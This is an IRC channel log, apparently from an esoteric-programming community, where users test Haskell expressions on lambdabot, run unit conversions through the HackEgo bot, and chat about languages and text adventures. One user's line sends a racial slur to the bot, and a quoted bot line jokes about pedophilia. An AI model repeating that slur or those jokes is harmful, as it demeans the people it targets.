01:05:48 <ehird> `google Muphry's Law
01:05:49 <HackEgo> Muphry's Law is an adage that states that "if you write anything criticizing editing or proofreading, there will be a fault of some kind in what you have ... \ en.wikipedia.org/wiki/Gaudere's_Law - [15]Cached - [16]Similar
01:12:23 <ehird> augur_: OOOO_____OOOOOOOO
01:12:35 <ehird> ais523: Murphy's proofreader.
01:13:27 -!- augur_ has changed nick to augur.
01:37:57 <pikhq> My brain just broke.
01:38:02 <pikhq> And Haskell didn't do it.
01:38:19 <pikhq> Fortran functions may have multiple entry points.
01:56:45 -!- upyr[emacs] has quit (Remote closed the connection).
02:06:05 <Warrigal> So, what's the shortest Haskell expression of type [Integer] that has a result that is not immediately recognizable?
02:07:30 <Warrigal> > map ((`mod` 10) . round . (pi^)) [1..]
02:07:33 <lambdabot> [3,0,1,7,6,1,0,9,9,8,4,9,7,1,6,1,4,3,0,6,3,2,4,4,8,6,4,0,1,9,6,2,4,6,2,6,6,...
02:07:43 <Warrigal> That one's pretty esoteric, I guess.
02:08:01 <Warrigal> Remove the `mod` 10 and it's still pretty obscure-looking.
02:12:00 <pikhq> > [1..] <<= \_ -> map $ (`mod` 10) . round . $ pi^
02:12:01 <lambdabot> <no location info>: parse error on input `$'
02:12:13 <pikhq> > [1..] <<= \_ -> map ((`mod` 10) . round . (pi^))
02:13:14 <pikhq> > [1..] >>= \_ -> map ((`mod` 10) . round . (pi^))
02:13:16 <lambdabot> Couldn't match expected type `[b]'
02:13:16 <pikhq> Totally what I meant.
02:13:33 <pikhq> > [1..] >>= \_ -> return $ map ((`mod` 10) . round . (pi^))
02:13:34 <lambdabot> Overlapping instances for GHC.Show.Show ([a] -> [b])
02:13:49 <pikhq> > [1..] >>= (\_ -> return $ map ((`mod` 10) . round . (pi^)))
02:13:51 <lambdabot> Overlapping instances for GHC.Show.Show ([a] -> [b])
02:14:25 <oerjan> > [1..] >>= (\_ -> return . map ((`mod` 10) . round . (pi^)))
02:14:26 <lambdabot> Couldn't match expected type `[b]'
02:14:36 <pikhq> > [1..] >>= (\x -> return $ map ((`mod` 10) . round . (pi^)) x)
02:14:37 <lambdabot> arising from the literal `1' at <inter...
02:15:19 <oerjan> so you cannot apply map anything to it
02:15:33 <pikhq> Oh, right. It's an int.
02:15:49 <oerjan> > [1..] >>= return . ((`mod` 10) . round . (pi^)))
02:15:51 <lambdabot> <no location info>: parse error on input `)'
02:16:04 <oerjan> > [1..] >>= return . (`mod` 10) . round . (pi^)
02:16:05 <lambdabot> [3,0,1,7,6,1,0,9,9,8,4,9,7,1,6,1,4,3,0,6,3,2,4,4,8,6,4,0,1,9,6,2,4,6,2,6,6,...
02:16:08 <pikhq> > [1..] >>= return . ((`mod` 10) . round . (pi^))
02:16:09 <lambdabot> [3,0,1,7,6,1,0,9,9,8,4,9,7,1,6,1,4,3,0,6,3,2,4,4,8,6,4,0,1,9,6,2,4,6,2,6,6,...
02:16:43 <oerjan> however, m >>= return . f == fmap f m
02:17:07 <pikhq> Indeed. That's why the bloody thing works.
02:17:24 <oerjan> > (`mod` 10) . round . (pi^) <$> [1..]
02:17:24 <Warrigal> The referse thingy of >>= is =<<.
02:17:26 <lambdabot> [3,0,1,7,6,1,0,9,9,8,4,9,7,1,6,1,4,3,0,6,3,2,4,4,8,6,4,0,1,9,6,2,4,6,2,6,6,...
02:17:36 <Warrigal> ...in case you ever want to know that.
02:17:49 <pikhq> oerjan: Oh, right. Application. YAY.
02:18:41 <Warrigal> We should come up with a writing system that uses only characters that are valid in Haskell infix operators. :-P
02:20:24 <lambdabot> <no location info>: parse error on input `)'
02:20:31 <lambdabot> <no location info>: parse error on input `)'
02:20:40 <oerjan> > let a |-|/-\|-|!! b = a+b in 2 |-|/-\|-|!! 2
02:20:44 <pikhq> > do {[1..];return . (`mod` 10) . round . (pi^)}
02:20:45 <lambdabot> Couldn't match expected type `[b]'
02:20:47 <oerjan> Warrigal: _ is not legal
02:20:55 <lambdabot> Not in scope: `~!@#$%^&*-+=|\:<>.?/'
02:21:28 <pikhq> > do {x <- [1..];return . (`mod` 10) . round . (pi^) x}
02:21:30 <lambdabot> Couldn't match expected type `[b]'
02:21:35 <Warrigal> Are any of the characters in `;"', legal?
02:21:47 <lambdabot> <no location info>: parse error on input ``'
02:21:53 <lambdabot> <no location info>: parse error on input `;'
02:21:57 <lambdabot> lexical error in string/character literal at end o...
02:22:02 <lambdabot> lexical error in string/character literal at chara...
02:22:06 <lambdabot> <no location info>: parse error on input `,'
02:22:16 <pikhq> Why am I having trouble making that into a do block?
02:22:31 <oerjan> > do x <- [1..]; return . (`mod` 10) . round . (pi^) $ x
02:22:33 <lambdabot> [3,0,1,7,6,1,0,9,9,8,4,9,7,1,6,1,4,3,0,6,3,2,4,4,8,6,4,0,1,9,6,2,4,6,2,6,6,...
02:22:52 <Warrigal> pikhq: put more parentheses around your infix operators, or do what oerjan did.
02:22:55 <pikhq> More confusion is required.
02:23:15 <pikhq> Warrigal: So I fail at order of operators.
02:23:37 <Warrigal> Application binds more tightly than anything else.
02:23:52 <Warrigal> This also causes problem with stuff like "tail x:xs = xs".
02:24:22 <oerjan> $ less tightly than any other operator, . more tightly than any other operator
02:25:02 <pikhq> Also, monads are cool.
02:25:11 <lambdabot> The operator `GHC.Base..' [infixr 9] of a section
02:25:41 <lambdabot> Maybe you meant: id ignore index instances instances-importing irc-connect . ? @ v
02:26:02 <oerjan> there is no precise equivalent to ghc :i in lambdabot
02:26:04 <Warrigal> Lessee, ~!@#$%^&*-+=|\:<>.?/ has 20 characters. Let's just use those characters to represent ABCDEFGHILMNOPRSTUWY, respectively.
02:26:35 <pikhq> Warrigal: Chop off the vowels; don't need them.
02:26:49 -!- olsner has joined.
02:27:13 <Warrigal> No. Write V, K, J, X, Q, Z as F, G, G, GS, G, S.
02:27:32 <Warrigal> Alternatively, C instead of G before letters other than E, I, and Y.
02:27:46 <oerjan> > [' '..'\DEL'] \\ ['A'..'Z'] \\ ['a'..'z']
02:27:47 <pikhq> That too. Punctuation is nice.
02:27:48 <lambdabot> cannot mix `Data.List.\\' [infix 5] and `Data...
02:27:55 <Warrigal> The cuicc brown fox gumps ofer the lasy dog.
02:28:02 <oerjan> > [' '..'\DEL'] \\ (['A'..'Z'] ++ ['a'..'z'])
02:28:04 <lambdabot> " !\"#$%&'()*+,-./0123456789:;<=>?@[\\]^_`{|}~\DEL"
02:28:50 <oerjan> > [' '..'~'] \\ (['A'..'Z'] ++ ['a'..'z'] ++ ['0'..'9'])
02:28:52 <lambdabot> " !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
02:29:32 <lambdabot> <no location info>: parse error on input `{'
02:29:33 <oerjan> > [' '..'~'] \\ (['A'..'Z'] ++ ['a'..'z'] ++ ['0'..'9'] ++ "~!@#$%^&*-+=|\\:<>.?/")
02:30:07 <oerjan> ok you seem to have got all
02:30:28 <Warrigal> > let x :- y = "Totally". in ?i ?think :-( ?is ?a ?frown ?and :-) ?is ?a ?smile
02:30:29 <lambdabot> <no location info>: parse error on input `in'
02:30:37 <Warrigal> > let x :- y = "Totally." in ?i ?think :-( ?is ?a ?frown ?and :-) ?is ?a ?smile
02:30:39 <lambdabot> Not in scope: data constructor `:-'Not in scope: data constructor `:-'Not i...
02:31:05 <Warrigal> > let x -: y = "Totally." in ?i ?think (-: ?is ?a ?frown ?and )-: ?is ?a ?smile
02:31:07 <lambdabot> Unbound implicit parameters (?smile::t5,
02:32:38 <oerjan> :t let x -: y = "Totally." in ?i ?think (-: ?is ?a ?frown ?and )-: ?is ?a ?smile
02:32:41 <lambdabot> forall t t1 t2 t3 t4 t5 t6. (?smile::t4, ?a::t3, ?is::t3 -> t4 -> t5 -> t6, ?and::t5, ?frown::t4, ?think::t, ?i::t -> (t2 -> [Char]) -> t1) => [Char]
02:36:09 <lambdabot> [0.9092974268256817,-0.7568024953079282,0.9893582466233818,-0.2879033166650...
02:37:26 <oerjan> hm i guess that is not unrecognizable, there is a formula for sin 2x from sin x
02:38:24 <lambdabot> [1.2246467991473532e-16,-0.4303012170000917,-0.39828817883405304,-1.9717494...
02:39:10 <oerjan> any irrational power ought to work though
02:39:14 <pikhq> Lame. Needs more monads.
02:39:29 <oerjan> i thought the challenge was to golf it...
02:39:41 <pikhq> While making it incomprehensible.
02:40:20 <oerjan> not the program, the _result_ should be unrecognizable
02:44:38 <pikhq> > (*198.838782*1079252848.8)<$>[1..]
02:44:39 <lambdabot> The operator `GHC.Num.*' [infixl 7] of a section
02:45:01 <pikhq> > (*198.838782).(*1079252848.8)<$>[1..]
02:45:03 <lambdabot> [2.1459732192542215e11,4.291946438508443e11,6.437919657762665e11,8.58389287...
02:45:27 <oerjan> > (198.838782*1079252848.8*)<$>[1..]
02:45:29 <lambdabot> [2.1459732192542215e11,4.291946438508443e11,6.437919657762665e11,8.58389287...
02:46:17 <Slereah> > (define you (cons nigger nigger))
02:46:18 <lambdabot> Not in scope: `define'Not in scope: `you'Not in scope: `cons'Not in scope: ...
02:46:28 <pikhq> Any guess what it does?
02:46:45 <oerjan> pikhq: what what does?
02:46:59 <pikhq> Slereah: GHCI in IRC form.
02:47:06 <pikhq> oerjan: That line of code I named.
02:47:40 <oerjan> it multiplies every number in [1..] by 1079252848.8, then 198.838782
02:47:52 <pikhq> More fundamental than that.
02:47:59 <pikhq> What does it mean?
02:48:24 <oerjan> = fmap ((*198.838782).(*1079252848.8)) [1..]
02:48:36 <oerjan> = map ((*198.838782).(*1079252848.8)) [1..]
02:48:52 <pikhq> You don't see what I'm driving at.
02:48:56 <oerjan> erm you mean what those numbers are?
02:49:55 <oerjan> i think i can say with some confidence that i am quite sure that i don't have a clue
02:50:20 <oerjan> "The conversion factor from a kilometer to a rod is 198.838782"
02:51:05 <pikhq> It's C in rods per hour.
02:51:31 <oerjan> "km per hour 1,079,252,848.8 (exact) "
02:51:36 <pikhq> Well, multiples thereof.
02:52:03 <GregorR> http://www.youtube.com/watch?v=JGAMppuXf7U // hilarious and extremely NSFW
02:52:09 <oerjan> `google speed of light in rods per hour
02:52:11 <HackEgo> miles per hour, ~= 670616629.3844. miles per second, ~= 186282.39705122 ..... Fizeau reported the speed of light as 313000 kilometres per second. ... \ en.wikipedia.org/wiki/Speed_of_light - [19]Cached - [20]Similar
02:52:38 <oerjan> `calc speed of light in rods per hour
02:52:39 <HackEgo> the speed of light = 2.14597321 10^11 rods per hour
02:53:48 <GregorR> `calc speed of light in furlongs per fortnight
02:53:49 <HackEgo> the speed of light = 1.8026175 10^12 furlongs per fortnight
02:54:34 <pikhq> `calc 20 rods to the hogshead in miles per gallon
02:54:36 <HackEgo> I might not find "20 gallons" but google does give me: 4 oz oil per gal for a Honda Hobbit. ... 40 mpg = 2 217 600 fathoms per hogshead according to Google, ... Just add a few nanoseconds, one acre, a few furlongs, some rods and chains, ...
02:55:06 <pikhq> `calc 1/20 hogsheads per rod in miles per gallon
02:55:08 <HackEgo> (1/20) (hogsheads per rod) = 0.000992063492 miles per gallon
02:55:53 <pikhq> Ah, cars that get rods to the hogshead.
02:56:18 <HackEgo> #!/bin/bash \ if [ ! "$1" ] \ then \ echo 'Calculate what?' \ exit 1 \ fi \ \ QUERY=`echo -n "$1" | od -t x1 -A n -w1000 | tr " " %` \ \ lynx --cfg=/dev/null --lss=/dev/null \ \ --dump --width=1000 'http://google.com/search?q='"$QUERY" | \ grep -m 1 '=' | sed 's/ \+/ /g'
03:05:06 -!- GreaseMonkey has joined.
03:11:37 <Warrigal> `calc 40 miles per gallon in square diopters
03:11:39 <HackEgo> 40 miles per gallon = 17 005 748.3 square dioptres
03:12:04 <ais523> `calc syntax error"£(*$&£("$
03:12:05 <Warrigal> `calc the answer to life, the universe and everything * once in a blue moon
03:12:06 <HackEgo> www.phpbuilder.com/board/showthread.php?t=10366317 - [15]Cached - [16]Similar
03:12:07 <HackEgo> the answer to life, the universe and everything * once in a blue moon = 4.90135867 10^-7 hertz
03:14:46 <GregorR> ais523: How can you ask how calc works when the source is RIGHT THERE :P
03:15:07 <ais523> because it's faster than looking
03:15:17 <ais523> even up a few lines, that would mean being able to parse
03:21:16 <Warrigal> `calc 50 man hours per hour in men
03:21:18 <HackEgo> books.google.com/books?id=dx1OAAAAMAAJ...
03:21:40 <Warrigal> `calc 50 electron volts per volt in electrons
03:21:41 <HackEgo> It is the amount of kinetic energy gained by an electron when it passes through ... It is equal to one volt (1 volt = 1 joule per coulomb) multiplied by the ... Therefore 500000 ppm is the same as 50 per cent, because 500000 is half of ...
03:22:02 <Warrigal> `calc 50 unit meters per meter in units
03:22:03 <HackEgo> (50 unit meters) per meter = 50 units
03:22:24 <Warrigal> `calc the meaning of life - the answer to life, the universe and everything
03:22:25 <HackEgo> www.youtube.com/watch?v=aboZctrHfK8
03:22:43 <HackEgo> addquote \ calc \ creatures \ define \ esolang \ etymology \ fortune \ google \ imdb \ minifind \ paste \ quote \ runfor \ strfile \ unstr \ url \ wolfram
03:22:58 <Warrigal> `wolfram 40 miles per gallon in square diopters
03:23:06 <HackEgo> 40 miles per gallon in square diopters \ \ Input interpretation: \ \ convert 40 mpg miles per gallon to diopters squared \ Result: \ \ mpg miles per gallon and diopters2 diopters squared are not compatible. \ \ Unit information: \ \ unit \ mpg miles per gallon \ \ dimensions 1 length \ 2 \ \ common physical quantity area
03:24:19 <Warrigal> `calc the square root of (20 miles per gallon) in diopters
03:24:20 <HackEgo> square root(20 miles per gallon) = 2 915.96882 dioptres
03:30:47 <Slereah> `calc 50 miles per second in hertz per diopters
03:30:49 <HackEgo> 50 (miles per second) = 80 467.2 hertz per dioptres
03:31:21 <HackEgo> 15|<Lil`Cube> wouldn't that be considered pedophilia? <Quas_NaArt> No. They all go by stage names.
03:34:03 <Slereah> When will humans become obsolete here?
03:34:26 <Slereah> Soon you'll make a robot to gay out and I'll be useless.
03:34:34 <pikhq> The classic EgoBot, the new hotness HackEgo, and the foreign Lambdabot.
03:34:44 <fungot> Slereah: i used drscheme often need to be implemented useful to be able to
03:34:49 <fungot> GregorR: sounds really weird. anyway... i'll give it a list? ie, depending on what it can
03:35:08 <Slereah> That's like almost as many as regulars here
03:35:17 <pikhq> GregorR: Fungot is in Befunge and doesn't afraid of anything.
03:35:35 <pikhq> Slereah: ... More people than that have talked in the past half hour.
03:35:57 <pikhq> Clearly, we all need to get IRC bots, though.
03:36:07 <GregorR> Everyone should have at least one!
03:50:28 <lambdabot> hmmm, i don't know what I wanna be
03:51:05 <ais523> is vixen an Eliza-alike?
03:51:26 <GregorR> Hahah, greatest gay-on-straight pickup line: "Got any gay in you?" "...no." "Want some?" // it's funny because it makes no sense.
03:52:09 <Warrigal> GregorR: what do you do if the person responds "yes"?
03:52:37 <GregorR> Well, this is a "gay on straight" pickup line, so presumably you have sex with them ... eventually :P
03:52:41 * ais523 wonders what the effect of that pickup line would be if done on a member of the opposite sex
04:01:37 -!- nooga_ has joined.
04:12:56 -!- nooga has quit (Read error: 110 (Connection timed out)).
04:35:28 <pikhq> > let GregorR * 2 = 10,636,016 in GregorR * 2
04:35:29 <lambdabot> <no location info>: parse error on input `,'
04:35:40 <pikhq> > let "GregorR" * 2 = 10,636,016 in "GregorR" * 2
04:35:41 <lambdabot> <no location info>: parse error on input `,'
04:35:54 <pikhq> Erm. Obvious error is obvious.
04:36:03 <pikhq> > let GregorR * 2 = 10636016 in GregorR * 2
04:36:04 <lambdabot> Not in scope: data constructor `GregorR'Not in scope: data constructor `Gre...
04:36:14 <pikhq> > let "GregorR" * 2 = 10636016 in "GregorR" * 2
04:36:21 <pikhq> GregorR: Like I said. Obvious error is obvious.
04:40:26 <Gracenotes> > let gregorR + 2 = 10636016 in gregorR
04:40:43 <Gracenotes> > let (gregorR + 2) = 10636016 in gregorR
04:41:54 <pikhq> ... That's actually kinda impressive. And damned spiffy.
04:42:48 <Gracenotes> and, according to some, an evil only second to hitler D:
04:43:39 <pikhq> Oh, the people who think that Arabs are evil.
04:43:41 <oerjan> yes, it's at most a distant fifth
04:44:20 <Gracenotes> really, some people don't like, http://www.mail-archive.com/haskell@haskell.org/msg01261.htm
04:44:31 <pikhq> (it's doing algebra, algebra is named after a one Al'Jabr, the rest is an exercise for the reader.)
04:44:48 <lambdabot> * Exception: <interactive>:1:153-165: Irrefutable pattern failed for patter...
04:44:56 <oerjan> actually Al'Jabr was the name of the book
04:45:09 <pikhq> GregorR: 404? I can see why people would dislike a 404 error.
04:45:15 <oerjan> the author was Al Khwarizmi or thereabouts
04:45:15 <pikhq> oerjan: Thanks for the correction.
04:45:26 <GregorR> pikhq: GET YAR G-R-VOWELS RIGHT
04:45:58 -!- ais523 has quit (Remote closed the connection).
04:46:37 <oerjan> > let (x + 2) = pi in x
04:46:54 <oerjan> :t let (x + 2) = pi in x
04:46:55 <lambdabot> forall t. (Floating t, Integral t) => t
04:47:12 <oerjan> it actually has to be Integral?
04:48:22 <oerjan> > let (x+2) = 1 :: Word8 in x
04:48:23 <lambdabot> * Exception: <interactive>:1:145-162: Irrefutable pattern failed for patter...
04:48:57 <oerjan> > let (x+2) = -1 :: Word8 in x
04:49:00 <Gracenotes> let (Succ (Succ x)) = Succ Zero in x, also fails
04:50:31 <pikhq> Okay, I see how very screwy that is.
04:50:46 <pikhq> I am in favor of either *generalising that* (so it works right) or banning it.
04:51:05 <Gracenotes> again, Data Natural = Zero | Succ Natural :D
04:52:08 <lambdabot> * Exception: <interactive>:1:145-155: Irrefutable pattern failed for patter...
04:52:17 <oerjan> pikhq: the thing is, it was included for primitive recursion stuff like
04:52:20 <Gracenotes> it is rather fail-fast.. b isn't even used
04:52:39 <oerjan> > let fac (n+1) = (n+1)*fac n; fac 0 = 1 in fac 10
04:53:20 <oerjan> so for the original intended use, the >= 0 check is needed
05:13:53 <nooga_> and that 39 norwegian is still alive
05:17:15 <nooga_> you're almost as old as my father
05:17:56 * oerjan whacks nooga_ with his walking stick
05:20:43 <oerjan> dammit and i don't even watch house
05:21:35 <nooga_> tv sucks, i don't even own a tv set
05:24:17 <pikhq> You're younger than my fother.
05:25:42 <nooga_> oerjan: in Polish, i should use "sir" when talking to you
05:26:25 <nooga_> like, "dzień dobry panu"
05:27:43 <nooga_> there is nou "you" in formal Polish
05:27:54 <pikhq> In English, though, we got rid of the grammatical features associated with formality.
05:28:06 <pikhq> And the rest followed.
05:28:23 <nooga_> it's considered as rude when you say "you" (= ty) to someone older
05:29:28 <nooga_> we say "być na ty" (abiliy to say "you" to smoeone) when you're in close relations to someone
05:30:11 * nooga_ is listening to Pink Floyd atm
05:31:01 <nooga_> pikhq: you're british, right?
05:32:06 <pikhq> American of British heritage.
05:32:31 <pikhq> Though a last name of "Worcester" would make you think otherwise, wouldn't it?
05:32:41 <pikhq> ... What's weird about that, though?
05:32:56 <nooga_> whole world tries to speak your lang
05:33:00 <Warrigal> pikhq: what was the formal equvalent of "thou"? "Ye"?
05:33:23 <pikhq> Ye was the formal equivalent of thee.
05:33:24 <Warrigal> I guess you're not considering it a grammatical feature associated with formality.
05:33:27 <nooga_> i on't even know english
05:33:50 <Warrigal> So the object form of "you" used to be "ye"?
05:34:00 <pikhq> Knocking out the distinction between "formal" and "informal" made it cease to be a grammatical feature associated with formality.
05:34:05 <nooga_> and that's the weirdest shit
05:34:20 <Warrigal> Were "your", "yours" and "yourself" at that time the same as they are now?
05:34:43 <pikhq> nooga_: You seem to be better at English than I at Polish.
05:35:01 <pikhq> "Thy", "thine", and "thyself" for the familiar.
05:35:09 <nooga_> i wonder what world would be if everyone would try to speak Polish instead of English
05:35:22 <pikhq> A world in which there was a Polish empire.
05:35:30 <nooga_> in fact, English compared to other langs is *quite* simple
05:35:53 <pikhq> nooga_: Except for its writing system.
05:36:06 <pikhq> Its writing system is comparable in complexity to Chinese.
05:36:24 <nooga_> pikhq: A world in which there was a Polish empire. << that woul be quite a mess
05:36:30 <pikhq> (or maybe Japanese; not *quite* as bad as Chinese)
05:36:44 <nooga_> what' English writing system?
05:37:05 <pikhq> How poor and inconsistent our spelling is.
05:38:34 <Warrigal> That's whî wê ûs sillê ad-häc sist@ms insted @f actôô@llê spelling things as thâ'r spelld.
05:39:15 <nooga_> i think that natives use worse eng that foreigners that learn English, but still I don't pretend to know English
05:39:36 <nooga_> Warrigal: and you're from?
05:39:57 <pikhq> nooga_: Your English is significantly better than 75% of US citizens.
05:40:13 <pikhq> You actually make an effort to spell words correctly, and your sentences mostly parse right.
05:40:23 <pikhq> And what's more, they carry meaning.
05:40:42 <nooga_> ehird thinks that I'm stewpid
05:41:06 <pikhq> That's because you are. Doesn't change that you know English. :P
05:41:38 <Warrigal> "If he was smarter, he wouldn't have done that." "If he were smarter, he wouldn't have done that." "If he had been smarter, he wouldn't have done that." "If he would have been smarter, he wouldn't have done that."
05:41:45 <nooga_> no I'm not, I try to be annoying, because that brings some entertainment
05:42:28 <pikhq> Warrigal: All that neglects that I'd say "He wouldn't have done that were he smarter." :P
05:44:28 <Warrigal> Pues, ¿cuántos de nosotros conocemos español?
05:47:10 <nooga_> i've learned spanish in high school but i failed
05:48:15 <nooga_> k, i've done drinking for today
05:54:37 <pikhq> oerjan: That one parses correctly, yes.
05:55:15 <Warrigal> Yo escogería 2 ó 3, dependiendo.
05:57:12 <oerjan> i feel the first part of #2 would go with "he wouldn't do that" instead
05:57:42 <Warrigal> I think the use of the present tense in the first part is justified by the idea that smartness doesn't change.
05:57:42 <oerjan> but maybe it can be both
05:58:02 * Warrigal totally calqued an idiolectical habit.
06:00:01 * pikhq wants curried sentences
06:01:27 <Warrigal> Well, it's kind of like currying.
06:01:53 <Warrigal> That sentence certainly isn't bracketed "I threw (him the ball)."
06:02:27 <Warrigal> (David slowed his pace slightly as his ears, which were the ball, were thrown to him by me.)
06:02:51 -!- immibis has joined.
06:03:03 <pikhq> Next up: Monadic sentences!
06:03:18 <pikhq> (no, I don't know what a monadic sentence would look like.)
06:05:11 <Warrigal> Oops, I just revealed my identity.
06:09:58 <immibis> frm wiktionary page on monadic: 2. (chemistry) univalent
06:11:56 <Warrigal> Hydrogen, lithium, sodium, francium, cesium...
06:12:39 <immibis> Hydrogen, lithium, sodium, *potassium, rubidium*, *cesium, francium*
06:13:40 <Warrigal> Hey, look at this equation. http://upload.wikimedia.org/math/0/9/3/093e1a3a34867fd243899f551177d273.png
06:14:07 <Warrigal> Combine those two elements, and you get *nothing*.
06:14:40 -!- immibis has quit (Read error: 104 (Connection reset by peer)).
06:18:55 -!- oerjan has quit ("Aut caesium aut nihil").
06:44:52 -!- immibis has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
09:11:38 <Gracenotes> suprasegmentals <-- valid english word o_O
09:30:12 -!- FireFly has joined.
10:06:06 <fizzie> A valid Finnish (compound) word: "pää-äänipää". (Unfortunately we have a rule of inserting a hyphen between two parts of a compound word where the first one ends and the second one starts with the same wovel.)
10:26:56 -!- BeholdMyGlory has joined.
10:30:54 -!- immibis has left (?).
11:03:22 <lament> nice, russian has at most three vowel letters
11:15:29 <fizzie> I don't think we have more than three consecutive wovels very often in a single word either (though "liioittelu", en:exaggerating, has "iioi" in it), but compound words are pretty common here.
11:23:42 -!- Judofyr has joined.
11:44:45 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
11:52:45 -!- nooga_ has quit (Remote closed the connection).
11:53:07 -!- nooga has joined.
11:54:20 -!- nooga_ has joined.
11:54:50 -!- nooga has quit (Read error: 104 (Connection reset by peer)).
13:53:49 -!- upyr[emacs] has joined.
13:55:29 -!- nooga has joined.
13:57:01 -!- nooga_ has quit (Read error: 104 (Connection reset by peer)).
14:30:28 -!- upyr[emacs] has quit (Remote closed the connection).
14:56:13 -!- augur has quit (Read error: 110 (Connection timed out)).
15:33:19 -!- kar8nga has joined.
16:12:59 <pikhq> I just discovered that Haskell has support for literate programming. \begin{code} \end{code}
16:13:59 <GregorR> let tweettweet = tweet in tweet tweet tweettweet
16:14:26 <lament> name the file *.lhs, then start code lines with >
16:14:57 * GregorR didn't know that was called "bird style", although he was aware of it.
16:15:39 * pikhq sees why there exists Literate Perl.
16:15:45 <GregorR> So in essence, lambdabot runs the channel in .lhs mode :P
16:16:01 <GregorR> I never connected its '>' trigger to lhs, but that makes some sense.
16:16:37 <pikhq> \begin{code}[1..]\end{code} Here we see a list of infinite size.
16:17:56 <GregorR> Here we see a list of finite size.
16:18:18 <pikhq> Pity, too. It should have every number between 1 and 2.
16:18:41 <pikhq> (and yes, I'm well aware that common numerical representations make that rather unlikely)
16:19:14 <GregorR> [1,1.00000000000000000000001..2]
16:19:16 <GregorR> > [1,1.00000000000000000000001..2]
16:19:18 <lambdabot> [1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1....
16:19:54 <GregorR> > length [1,1.00000000000000000000001..2]
16:19:59 <lambdabot> mueval-core: Prelude.read: no parse
16:20:42 <lambdabot> [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,...
16:20:59 <lambdabot> Pattern syntax in expression context: _
16:21:06 <lambdabot> [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,...
16:21:08 <lambdabot> mueval-core: Prelude.read: no parse
16:21:29 <GregorR> I don't understand that error at all :P
16:21:32 <pikhq> > let cycle n = [n,n..] in cycle "HI!"
16:21:33 <lambdabot> No instance for (GHC.Enum.Enum [GHC.Types.Char])
16:22:19 <lambdabot> mueval-core: Prelude.read: no parse
16:22:24 <pikhq> GregorR: It's crashing somewhere else, and it then goes through read... Somewhere...
16:53:31 -!- BeholdMyGlory has quit (Remote closed the connection).
17:00:59 -!- Judofyr has quit (Remote closed the connection).
17:27:23 -!- Judofyr has joined.
17:34:46 -!- upyr[emacs] has joined.
17:36:33 <nooga> > foldl (\ s@(x:y:l) o -> if o == "+" then (x+y):l else (read o):s) [] ["5","5","+"]
17:36:36 <lambdabot> * Exception: <interactive>:1:148-204: Non-exhaustive patterns in lambda
17:49:51 -!- augur has joined.
17:52:10 <nooga> should i cover [] x:[] also ?
17:52:20 <nooga> but in lambda it's impossible
17:55:02 <pikhq> Like, use a where?
17:55:11 <pikhq> ... Or more creative uses of guards?
18:00:21 <pikhq> Yeah; you can use semicolons.
18:01:42 -!- MigoMipo has joined.
18:07:45 <augur> nooga what are you mucking about with?
18:08:58 <AnMaster> who claimed that lostkingdom was hard to solve?
18:09:02 <nooga> augur: foldl (\ s@(x:y:l) o -> if o == "+" then (x+y):l else (read o):s) [
18:20:35 <pikhq> AnMaster: LostKingdom is hard, but no more so than most other text adventures.
18:21:36 <Slereah> Most text adventures are absurdely frustrating
18:25:44 <AnMaster> pikhq, only hard bit were the mazes... Helps to draw a diagram
18:26:34 <pikhq> Yeah, the mazes is what really got me.
18:39:16 <AnMaster> pikhq, I solved them by writing a file like this: http://pastebin.ca/1476632
18:40:33 <AnMaster> in some cases you need to go south then north to end up in the right place, that is, the connections are _mostly_ one-way.
18:45:20 <nooga> generated the file?
18:45:24 <nooga> or wrote it by hand?
18:45:57 <AnMaster> nooga, copy-pasted messages and wrote by hand yes
18:46:09 <AnMaster> I wouldn't write a program to *play* lostkingdom to figure out the maze
18:47:08 <AnMaster> anyway there are 8 "rooms" in that maze
18:52:36 -!- zzo38 has joined.
18:53:37 <zzo38> I think you can treat Unlambda as lazy if you just say that every command other than "d" evaluates its parameter before doing other things
18:54:11 <Slereah> I care not for silly unlambdas!
18:54:16 <Slereah> Lazy bird is enough for me
18:54:26 <zzo38> That seems one way to implement "d" in Underload.
18:54:41 <zzo38> Now ti make the Unlambda "c" in Underload, too.
18:55:45 <zzo38> If we can't do "c" with thee existing commands, then we can add a new one.
18:56:55 <zzo38> The new one can do the following: Take the entire stack into a string, add on a string representing the rest of the program (all in parentheses), and then discard the entry of the stack underneath.
18:57:02 <zzo38> Is that sufficient?
19:08:41 <zzo38> The Unlambda in CLCLC-INTERCAL (using the CLCLC-INTERCAL functional operators) does treat it as lazy and each command other than "d" does an evaluation.
19:12:44 -!- augur has quit (Read error: 110 (Connection timed out)).
19:19:51 <GregorR> http://www.qwantz.com/index.php?comic=1111 Haa this is so sa
19:20:18 <pikhq> Dinosaur Comics archive binge?
19:20:43 -!- fungebob has joined.
19:21:49 <GregorR> I'd never read it, so I'm reading it through.
19:22:26 <pikhq> Fungebob, meet fungot. Fungot, fungebot.
19:22:27 <fungot> pikhq: make one. " slow" one? *i* open one with the firefox logo on too.)
19:24:40 <fungebob> yeah i just come by to lurk for a bit every couple of years
19:24:51 <AnMaster> I knew the nick sounded familiar
19:25:03 <AnMaster> anyway considering your nick you would like fungot.
19:25:04 <fungot> AnMaster: ruby sometimes makes my teeth itch the first day of scheme fnord haven't decided on a specific implementation, there's quite some scheme code to c
19:25:06 <fungot> http://zem.fi/~fis/fungot.b98.txt
19:25:23 -!- kar8nga has quit (Remote closed the connection).
19:25:48 <AnMaster> fizzie, fungot still runs under cfunge right?
19:25:48 <fungot> AnMaster: i frequently desire a standardized optional argument mechanism. it in fact
19:25:50 <pikhq> 'Tis a thing of beauty. (even though I don't know Funge)
19:25:56 -!- nooga has quit ("Leaving...").
19:26:38 <AnMaster> fizzie, or have you worked on jitfunge maybe?
19:27:00 -!- CESSMASTER has quit (Remote closed the connection).
19:27:27 -!- CESSMASTER has joined.
19:27:45 * pikhq notes that Fungot doesn't handle CTCP. Lame.
19:28:23 <pikhq> Nor does the Egoëst of bots, Egobot.
19:29:25 <lambdabot> so, what made you want to message me?
